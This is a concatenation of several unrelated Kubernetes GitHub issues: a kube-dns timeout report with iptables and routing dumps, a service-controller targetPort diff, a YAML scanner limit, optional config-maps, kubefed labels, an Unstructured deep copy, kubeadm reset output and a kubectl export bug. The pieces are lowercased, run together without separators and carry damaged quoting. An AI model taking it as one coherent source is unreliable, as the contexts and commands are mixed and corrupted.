cgroupfs\r \r   additional information  :\r ps -ef | grep kube-prox y :  \r root  11423 11406  0 15:55 ? 00:00:05 /usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/config.conf\r                                                       \r ps -ef | grep docker d :  \r root 28523 1  1 mar29 ?  00:29:33 /usr/bin/dockerd\r                                                        \r route -n from the host\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         172.28.142.1    0.0.0.0         ug    100    0        0 eth0\r 10.32.0.0       0.0.0.0         255.240.0.0     u     0      0        0 weave\r 10.244.0.0      0.0.0.0         255.255.255.0   u     0      0        0 cni0\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 docker0\r 172.28.142.0    0.0.0.0         255.255.255.128 u     100    0        0 eth0\r                                        \r route from busybox:\r /    route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         10.244.0.1      0.0.0.0         ug    0      0        0 eth0\r 10.244.0.0      0.0.0.0         255.255.255.0   u     0      0        0 eth0\r 10.244.0.0      10.244.0.1      255.255.0.0     ug    0      0        0 eth0\r                                 \r iptables-save:\r \r   generated by iptables-save v1.4.21 on fri mar 30 16:46:18 2018\r  nat\r :prerouting accept  1:334 \r :input accept  0:0 \r :output accept  3:180 \r :postrouting accept  3:180 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-euwkl2m77wklsopn -  0:0 \r :kube-services -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :weave -  0:0 \r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouti                                                                                                         ng\r -a postrouting -s 10.244.0.14/32 -p udp -m udp --dport 53 -j masquerade\r -a postrouting -s 10.244.0.0/16 -d 10.244.0.0/16 -j return\r -a postrouting -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r -a postrouting ! -s 10.244.0.0/16 -d 10.244.0.0/24 -j return\r -a postrouting ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j masquerade\r -a postrouting -j weave\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\                                                                                                           -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-euwkl2m77wklsopn -s 172.28.142.85/32 -m comment --comment \ default/kuber                                                                                                         netes:https\  -j kube-mark-masq\r -a kube-sep-euwkl2m77wklsopn -p tcp -m comment --comment \ default/kubernetes:https\                                                                                                           -m recent --set --name kube-sep-euwkl2m77wklsopn --mask 255.255.255.255 --rsource -m                                                                                                          tcp -j dnat --to-destination 172.28.142.85:6443\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.10/32 -p udp -m comment --comment \ ku                                                                                                         be-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:                                                                                                         dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.10/32 -p tcp -m comment --comment \ ku                                                                                                         be-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:                                                                                                         dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.1/32 -p tcp -m comment --comment \ def                                                                                                         ault/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:htt                                                                                                         ps cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must                                                                                                          be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m rece                                                                                                         nt --rcheck --seconds 10800 --reap --name kube-sep-euwkl2m77wklsopn --mask 255.255.2                                                                                                         55.255 --rsource -j kube-sep-euwkl2m77wklsopn\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube                                                                                                         -sep-euwkl2m77wklsopn\r -a weave -s 10.32.0.0/12 -d 224.0.0.0/4 -j return\r -a weave ! -s 10.32.0.0/12 -d 10.32.0.0/12 -j masquerade\r -a weave -s 10.32.0.0/12 ! -d 10.32.0.0/12 -j masquerade\r commit\r   completed on fri mar 30 16:46:18 2018\r   generated by iptables-save v1.4.21 on fri mar 30 16:46:18 2018\r  filter\r :input drop  3:1002 \r :forward accept  0:0 \r :output drop  0:0 \r :kube-firewall -  0:0 \r :kube-forward -  0:0 \r :kube-services -  0:0 \r :weave-npc -  0:0 \r :weave-npc-default -  0:0 \r :weave-npc-ingress -  0:0 \r -a input -j kube-firewall\r -a input -m comment --comment \ kubernetes service portals\  -j kube-services\r -a input -i lo -j accept\r -a input -s 127.0.0.0/8 -j drop\r -a input -p tcp -m state --state established -j accept\r -a input -p udp -m state --state established -j accept\r -a input -p icmp -m state --state established -j accept\r -a input -p tcp -m tcp --dport 22 -m state --state new -j accept\r -a input -s 127.0.0.0/8 -p tcp -m tcp --dport 25 -m state --state new -j accept\r -a forward -o weave -m comment --comment \ note: this must go before \\'-j kube-forwar                                                                                                         d\\'\  -j weave-npc\r -a forward -o weave -m state --state new -j nflog --nflog-group 86\r -a forward -o weave -j drop\r -a forward -i weave ! -o weave -j accept\r -a forward -o weave -m conntrack --ctstate related,established -j accept\r -a forward -m comment --comment \ kubernetes forward rules\  -j kube-forward\r -a forward -s 10.244.0.0/16 -j accept\r -a forward -d 10.244.0.0/16 -j accept\r -a output -j kube-firewall\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -o lo -j accept\r -a output -p tcp -m state --state new,established -j accept\r -a output -p udp -m state --state new,established -j accept\r -a output -p icmp -m state --state new,established -j accept\r -a output -p tcp -m tcp --sport 22 -m state --state established -j accept\r -a output -s 127.0.0.0/8 -p tcp -m tcp --sport 25 -m state --state established -j ac                                                                                                         cept\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packe                                                                                                         ts\  -m mark --mark 0x8000/0x8000 -j drop\r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x                                                                                                         4000/0x4000 -j accept\r -a kube-forward -s 10.244.0.0/16 -m comment --comment \ kubernetes forwarding conntra                                                                                                         ck pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -d 10.244.0.0/16 -m comment --comment \ kubernetes forwarding conntra                                                                                                         ck pod destination rule\  -m conntrack --ctstate related,established -j accept\r -a kube-services -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:                                                                                                         dns has no endpoints\  -m udp --dport 53 -j reject --reject-with icmp-port-unreachabl                                                                                                         e\r -a kube-services -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:                                                                                                         dns-tcp has no endpoints\  -m tcp --dport 53 -j reject --reject-with icmp-port-unreac                                                                                                         hable\r -a weave-npc -m state --state related,established -j accept\r -a weave-npc -d 224.0.0.0/4 -j accept\r -a weave-npc -m state --state new -j weave-npc-default\r -a weave-npc -m state --state new -j weave-npc-ingress\r -a weave-npc -m set ! --match-set weave-local-pods dst -j accept\r -a weave-npc-default -m set --match-set weave-e.1.0w^ngsp 0_t5wwh/ gx@l dst -m comme                                                                                                         nt --comment \ defaultallow isolation for namespace: default\  -j accept\r -a weave-npc-default -m set --match-set weave-?b%zl9gie0aet1 qi^7nwe fo dst -m comme                                                                                                         nt --comment \ defaultallow isolation for namespace: kube-system\  -j accept\r -a weave-npc-default -m set --match-set weave-0ehd/vdn o4 v?o4tx7ks;aph dst -m comme                                                                                                         nt --comment \ defaultallow isolation for namespace: kube-public\  -j accept\r commit\r                                                      \r   kubedns logs  :\r \r kubectl logs -n kube-system  kube-dns-6f4fd4bdf-ws2xx -c kubedns\r i0330 17:00:09.694382       1 dns.go:48  version: 1.14.6-3-gc36cb11\r i0330 17:00:09.695524       1 server.go:69  using configuration read from directory: /kube-dns-config with period 10s\r i0330 17:00:09.695593       1 server.go:112  flag: --alsologtostderr=\ false\ \r i0330 17:00:09.695610       1 server.go:112  flag: --config-dir=\ /kube-dns-config\ \r i0330 17:00:09.695618       1 server.go:112  flag: --config-map=\ \ \r i0330 17:00:09.695622       1 server.go:112  flag: --config-map-namespace=\ kube-system\ \r i0330 17:00:09.695633       1 server.go:112  flag: --config-period=\ 10s\ \r i0330 17:00:09.695639       1 server.go:112  flag: --dns-bind-address=\ 0.0.0.0\ \r i0330 17:00:09.695644       1 server.go:112  flag: --dns-port=\ 10053\ \r i0330 17:00:09.695658       1 server.go:112  flag: --domain=\ cluster.local.\ \r i0330 17:00:09.695675       1 server.go:112  flag: --federations=\ \ \r i0330 17:00:09.695680       1 server.go:112  flag: --healthz-port=\ 8081\ \r i0330 17:00:09.695685       1 server.go:112  flag: --initial-sync-timeout=\ 1m0s\ \r i0330 17:00:09.695689       1 server.go:112  flag: --kube-master-url=\ \ \r i0330 17:00:09.695696       1 server.go:112  flag: --kubecfg-file=\ \ \r i0330 17:00:09.695700       1 server.go:112  flag: --log-backtrace-at=\ :0\ \r i0330 17:00:09.695711       1 server.go:112  flag: --log-dir=\ \ \r i0330 17:00:09.695716       1 server.go:112  flag: --log-flush-frequency=\ 5s\ \r i0330 17:00:09.695720       1 server.go:112  flag: --logtostderr=\ true\ \r i0330 17:00:09.695724       1 server.go:112  flag: --nameservers=\ \ \r i0330 17:00:09.695728       1 server.go:112  flag: --stderrthreshold=\ 2\ \r i0330 17:00:09.695743       1 server.go:112  flag: --v=\ 2\ \r i0330 17:00:09.695747       1 server.go:112  flag: --version=\ false\ \r i0330 17:00:09.695753       1 server.go:112  flag: --vmodule=\ \ \r i0330 17:00:09.695959       1 server.go:194  starting skydns server  0.0.0.0:10053 \r i0330 17:00:09.696919       1 server.go:213  skydns metrics enabled  /metrics:10055 \r i0330 17:00:09.696962       1 dns.go:146  starting endpointscontroller\r i0330 17:00:09.696975       1 dns.go:149  starting servicecontroller\r i0330 17:00:09.697163       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0330 17:00:09.697201       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0330 17:00:10.197461       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:10.697424       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:11.197435       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:11.697446       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:12.197455       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:12.697439       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:13.197408       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:13.697415       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:14.197524       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:14.697364       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:15.197388       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:15.697398       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:16.197408       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:16.697409       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:17.197456       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:17.697479       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:18.197468       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:18.697431       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:19.197483       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:19.697476       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:20.197419       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:20.697406       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:21.197391       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:21.697443       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:22.197407       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:22.697480       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:23.197429       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:23.697486       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:24.197471       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:24.697644       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:25.197458       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:25.697460       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:26.197406       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:26.697440       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:27.197441       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:27.697454       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:28.197469       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:28.697439       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:29.197481       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:29.697343       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:30.197410       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:30.697454       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:31.197436       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:31.697457       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:32.197420       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:32.697426       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:33.197418       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:33.697463       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:34.197443       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:34.697432       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:35.197470       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:35.697462       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:36.197479       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:36.697409       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:37.197427       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:37.697449       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:38.197356       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:38.697465       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:39.197467       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:39.697353       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r e0330 17:00:39.699611       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0330 17:00:39.699611       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r i0330 17:00:40.197460       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:40.697467       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:41.197435       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:41.697456       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:42.197422       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:42.697482       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:43.197442       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:43.697515       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:44.197431       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:44.697376       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:45.197442       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:45.697399       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:46.197463       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:46.697472       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:47.197469       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:47.697455       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:48.197415       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:48.697441       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:49.197452       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:49.697322       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:50.197447       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:50.697436       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:51.197406       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:51.697455       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:52.197463       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:52.697540       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:53.197416       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:53.697387       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:54.197500       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:54.697372       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:55.197440       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:55.697495       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:56.197516       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:56.697526       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:57.197459       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:57.697424       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:58.197409       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:58.697498       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:59.197438       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:00:59.697272       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:00.197391       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:00.697402       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:01.197372       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:01.697432       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:02.197412       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:02.697426       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:03.197458       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:03.697382       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:04.197443       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:04.697466       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:05.197385       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:05.697440       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:06.197436       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:06.697424       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:07.197392       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:07.697424       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:08.197442       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:08.697525       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0330 17:01:09.197498       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r f0330 17:01:09.697442       1 dns.go:167  timeout waiting for initialization\r                                                                      \r   environment  :\r - kubernetes version  use  kubectl version  :  kubectl/kubeadm version 1.9\r - cloud provider or hardware configuration: intel r  xeon r  cpu e5-2680 v2 @ 2.80ghz\r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core \r - kernel  e.g.  uname -a  : 3.10.0-327.el7.x86_64\r - install tools:\r - others:\r

hello @justinsb , i have saw the commit  c741b8f3ae8d68a22d556b509979fa4e1a5fa7f7 , can we check the  targetport  for enqueue to serivce cotnroller work queue?  \r \r basecause of, in many case for public cloud, we always abstract a set for health checks\r , such as targetgroup in aws, instancegroup in aliyun. we can map  targetport  to such a collection of instance.\r \r if the service controller to check the targetgroup changes, the traffic pass-through pod is easier to implement.\r \r in most cases, the instance that in same group has an associated port for external services, and service controller set a target port if which not set in service yaml file.\r \r on the other hand，we only lose some other performance of service controller.\r \r and implementing targetgroup mapping to targetport depends on the cloud provider.\r \r what do you think?\r \r    diff\r +func portequalforlb x, y  api.serviceport  bool {\r +       // todo: should we check name?   in theory, an lb could expose it \r +       if x.name != y.name {\r +               return false\r +       }\r +\r +       if x.protocol != y.protocol {\r +               return false\r +       }\r +\r +       if x.port != y.port {\r +               return false\r +       }\r +\r +       if x.nodeport != y.nodeport {\r +               return false\r +       }\r +\r +       // we don't check targetport; that is not relevant for load balancing\r +       // todo: should we blank it out?  or just check it anyway?\r +\r +       return true\r  }\r    \r \r    diff\r         }\r  \r +\tif !reflect.deepequal x.targetport, y.targetport  {\r +\t\treturn false\r +\t}\r         // we don't check targetport; that is not relevant for load balancing\r         // todo: should we blank it out?  or just check it anyway?\r    \r \r  

we're using bufio.scanner to split yaml documents in  pkg/util/yaml , but bufio.scanner cannot handle lines longer than 64kb  you'll get \ bufio.scanner: token too long\  .  this prevents commands that output in yaml as lists of items to output from working correctly in a pipe if any line is >64kb.  the splitter should use a custom scanner that walks lines  we can safely ignore any line >64kb anyway  - there's a lower level incremental read to buffer command in bufio that we should use.

overview\r \r currently, pods cannot be created if a config-map referenced by the pod does not exist. this precludes the use of config-map as optional configuration. for instance, the application may chose to use internal defaults if a given config-map does not  yet  exist.\r \r     proposal\r \r a config-map reference that is labeled as optional will show up as an empty directory. in addition, if the referenced config-map come into existence at a later point, it seems natural to have the config-map content show up in the mounted volume.\r \r https://github.com/kubernetes/kubernetes/pull/36775 gives a concrete use case. it is optional for kube-dns to have a config-map and requiring the existence of the config-map will complicate the life-cycle of the kube-dns cluster addon. the current workaround is to obtain the contents of the config-map via the api, but this increases the api surface area used by the application.\r

came up while discussing https://github.com/kubernetes/kubernetes/issues/29887 with @emaildanwilson .\r \r we need a way to add labels to a cluster api resource while joining it in federation.\r something like:\r  kubefed join mycluster1 --labels=\ region=us-central\  \r \r cc @madhusudancs @kubernetes/sig-federation-misc

i'm writing a controller that needs to work with objects that have a field of  unstructured.unstructured  type. it gets those objects from  cache.store  and i need to make a copy of the object before modifications can be made so a deep copy function for  unstructured.unstructured  would be very useful. other deep copy functions i need already exist.

\r   is this a bug report or feature request?    choose one :bug report\r \r   kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.395+1df1ad9d34f5dc\ , gitcommit:\ 1df1ad9d34f5dce40229ac5d82b1ab94c559d443\ , gittreestate:\ clean\ , builddate:\ 2017-02-06t07:11:51z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1\ , gitcommit:\ 424a0e9e827a39c714ee03e1891c43635adabcdc\ , gittreestate:\ clean\ , builddate:\ 2017-01-31t02:31:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r \r   what happened  :\r    \r   ./cluster/kubeadm.sh reset\r  preflight  running pre-flight checks\r  reset  draining node: \ ubuntu\ \r  reset  failed to cleanup node:  failed to drain node \ ubuntu\ : exit status 1 \r  reset  stopping the kubelet service\r  reset  unmounting mounted directories in \ /var/lib/kubelet\ \r  reset  removing kubernetes-managed containers\r  reset  deleting contents of stateful directories:  /var/lib/kubelet /etc/cni/net.d /var/lib/etcd \r  reset  deleting contents of config directories:  /etc/kubernetes/manifests /etc/kubernetes/pki \r  reset  deleting files:  /etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf /etc/kubernetes/ca.crt \r    \r

when exporting using a command of the form  kubectl get <resourcetype> <resourcename> -o yaml --namespace=<namespace> --export  the  namespace  is included in the export when  resourcename  is omitted but it is missing when specifying  resourcename .\r \r similar to several of the  --export  items such as  https://github.com/kubernetes/kubernetes/issues/28551 and those inside https://github.com/kubernetes/kubernetes/issues/38768. however, i could not find a direct report of this particular issue. perhaps some overlap with https://github.com/kubernetes/kubernetes/issues/33767 but not sure.\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r ✗ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-17t20:49:14z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+coreos.0\ , gitcommit:\ 8fc95b64d0fe1608d0f6c788eaad2c004f31e7b7\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t19:52:15z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : mac os, sierra\r \r   what happened  :\r \r when exporting using a command of the form  kubectl get <resourcetype> <resourcename> -o yaml --namespace=<namespace> --export  the  namespace  is included in the export when  resourcename  is omitted but it is missing when specifying  resourcename .\r \r   what you expected to happen  :\r \r  namespace  should be included in the export even when specifying a  resourcename .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r as an example here is this performed in the  kube-system  namespace for deployments and the  kube-dns  deployment, however the same problem occurs for at least services and ingresses plus for all namespaces.\r \r    \r ✗ kubectl get deployment -o yaml --namespace=kube-system --export | grep namespace   \r     namespace: kube-system\r     selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/heapster-v1.2.0\r                 fieldpath: metadata.namespace\r     namespace: kube-system\r     selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/kube-dns\r     namespace: kube-system\r     selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/kube-dns-autoscaler\r           - --namespace=kube-system\r \r ✗ kubectl get deployment kube-dns -o yaml --namespace=kube-system --export | grep namespace\r   selflink: /apis/extensions/v1beta1/namespaces//deployments/kube-dns\r

